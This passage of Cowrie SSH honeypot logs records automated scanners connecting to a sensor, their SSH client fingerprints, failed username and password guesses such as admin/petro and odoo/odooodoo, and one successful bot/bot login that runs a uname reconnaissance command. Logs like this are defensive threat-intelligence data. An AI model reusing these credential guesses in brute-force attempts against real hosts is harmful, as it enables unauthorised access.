failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.000860Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae63cd1a16bf","protocol":"ssh","message":"New connection: 2.57.121.112:42540 (10.17.0.5:22) [session: ae63cd1a16bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.020684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.026313Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:3e:54:81:1d:a8:85:22:70:e3:4d:5b:a3:a6:81:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClBuH+afVJHga/S9kxdfQl2pj7JolxwA+Mx1MnUS6RmlJsFwsH60yvq8qUgi3NwXpocoJVQLfG7XmaikoZgjkJoE2YuV+4LcWRvZvNgbtGbc+d4BAd+lMFhJXgno3o3eDuttZlBk78sCSxr5pyL3pKwQ7nOgOISjtw2XUwXEoBC80CAkh/jrElpDELlMke7TpCBfRN++K4wSF6Uft+FcvfFhbBAgN39NbyWGbPRU43uUmzobE2PG6un+jcY04JD7FvnCKlrNE/c4EPeti0R6IpNzpdUDvfADG+VZfaIpsJC7YvmRb7MmA/1KPatp17w8SIfPdnC6/f0vqekQtO52W7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:3e:54:81:1d:a8:85:22:70:e3:4d:5b:a3:a6:81:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.035126Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:3e:54:81:1d:a8:85:22:70:e3:4d:5b:a3:a6:81:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClBuH+afVJHga/S9kxdfQl2pj7JolxwA+Mx1MnUS6RmlJsFwsH60yvq8qUgi3NwXpocoJVQLfG7XmaikoZgjkJoE2YuV+4LcWRvZvNgbtGbc+d4BAd+lMFhJXgno3o3eDuttZlBk78sCSxr5pyL3pKwQ7nOgOISjtw2XUwXEoBC80CAkh/jrElpDELlMke7TpCBfRN++K4wSF6Uft+FcvfFhbBAgN39NbyWGbPRU43uUmzobE2PG6un+jcY04JD7FvnCKlrNE/c4EPeti0R6IpNzpdUDvfADG+VZfaIpsJC7YvmRb7MmA/1KPatp17w8SIfPdnC6/f0vqekQtO52W7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.038690Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:d6:be:c0:53:5f:45:40:4d:24:4b:fc:03:73:da:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYimxTy+ty0hvvmYw/xfmP4pmFmOW/1SGkViIRrzP6p/rh2IA2KPSMdJI7NDer9NYGaS7GZyL0TJZ9inftBQzABUfbrF9F8z9p0jxC5YTQMG6APkjZXVGR9C5GRjLWRF31ygsC4r4KoqqplSUtwTYv8y8hKTu8k8qKZ+GfmI9qH0qI0XnR0Fl0HaN6QX2osYANm8spkeMQG3+QR95YwpOPmK+BIcvdu2ZLcUAycK+5WeZDwFYZvFnHSm14RYLeTPOe4k7PmRp75NM8Pm+ynrk0yr+Qbj1s7bp4mJenbovygMMXnYSouXqObpnKUF/MXG6QfkQgPx1f4v/X4KCUN17n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:d6:be:c0:53:5f:45:40:4d:24:4b:fc:03:73:da:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.077983Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:d6:be:c0:53:5f:45:40:4d:24:4b:fc:03:73:da:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYimxTy+ty0hvvmYw/xfmP4pmFmOW/1SGkViIRrzP6p/rh2IA2KPSMdJI7NDer9NYGaS7GZyL0TJZ9inftBQzABUfbrF9F8z9p0jxC5YTQMG6APkjZXVGR9C5GRjLWRF31ygsC4r4KoqqplSUtwTYv8y8hKTu8k8qKZ+GfmI9qH0qI0XnR0Fl0HaN6QX2osYANm8spkeMQG3+QR95YwpOPmK+BIcvdu2ZLcUAycK+5WeZDwFYZvFnHSm14RYLeTPOe4k7PmRp75NM8Pm+ynrk0yr+Qbj1s7bp4mJenbovygMMXnYSouXqObpnKUF/MXG6QfkQgPx1f4v/X4KCUN17n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.082718Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.116455Z","src_ip":"179.61.232.244","session":"b97314e3d47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.136464Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"petro","message":"login attempt [admin/petro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:04.623677Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"permit","message":"login attempt [admin/permit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:05.731241Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"perky","message":"login attempt [admin/perky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:06.839137Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pepperoni","message":"login attempt [admin/pepperoni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:07.946987Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pepepe","message":"login attempt [admin/pepepe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:09.054372Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:10.161618Z","src_ip":"2.57.121.112","session":"ae63cd1a16bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45320,"dst_ip":"10.17.0.5","dst_port":22,"session":"f587c15d181e","protocol":"ssh","message":"New connection: 2.57.122.210:45320 (10.17.0.5:22) [session: f587c15d181e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.297451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.302723Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.401206Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.699568Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.952030Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:14.955889Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:15.062464Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:15.067937Z","src_ip":"2.57.122.210","session":"f587c15d181e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":11246,"dst_ip":"10.17.0.5","dst_port":22,"session":"61185b0f7d04","protocol":"ssh","message":"New connection: 101.36.119.184:11246 (10.17.0.5:22) [session: 61185b0f7d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:16.705173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:16.710487Z","src_ip":"101.36.119.184","session":"61185b0f7d04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:16.928431Z","src_ip":"101.36.119.184","session":"61185b0f7d04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vfrcbv","message":"login attempt [admin/vfrcbv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:17.827589Z","src_ip":"101.36.119.184","session":"61185b0f7d04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:19.048475Z","src_ip":"101.36.119.184","session":"61185b0f7d04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":53760,"dst_ip":"10.17.0.5","dst_port":22,"session":"706bf1401444","protocol":"ssh","message":"New connection: 189.46.1.73:53760 (10.17.0.5:22) [session: 706bf1401444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:33.515551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:33.530376Z","src_ip":"189.46.1.73","session":"706bf1401444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:33.721319Z","src_ip":"189.46.1.73","session":"706bf1401444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1","message":"login attempt [test/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:34.337213Z","src_ip":"189.46.1.73","session":"706bf1401444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:53:35.524806Z","src_ip":"189.46.1.73","session":"706bf1401444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":27630,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab5b26ff394","protocol":"ssh","message":"New connection: 101.36.119.184:27630 (10.17.0.5:22) [session: 6ab5b26ff394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:07.579159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:07.584667Z","src_ip":"101.36.119.184","session":"6ab5b26ff394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:07.800887Z","src_ip":"101.36.119.184","session":"6ab5b26ff394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin","message":"login attempt [user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:08.695094Z","src_ip":"101.36.119.184","session":"6ab5b26ff394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:09.914679Z","src_ip":"101.36.119.184","session":"6ab5b26ff394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":44010,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4ad157215eb","protocol":"ssh","message":"New connection: 101.36.119.184:44010 (10.17.0.5:22) [session: c4ad157215eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:58.457854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:58.462744Z","src_ip":"101.36.119.184","session":"c4ad157215eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:58.690748Z","src_ip":"101.36.119.184","session":"c4ad157215eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odooodoo","message":"login attempt [odoo/odooodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:54:59.601076Z","src_ip":"101.36.119.184","session":"c4ad157215eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:00.832444Z","src_ip":"101.36.119.184","session":"c4ad157215eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"f64768f97705","protocol":"ssh","message":"New connection: 103.15.226.202:58746 (10.17.0.5:22) [session: f64768f97705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:18.665255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:55:18.670441Z","src_ip":"103.15.226.202","session":"f64768f97705","protocol":"ssh"}
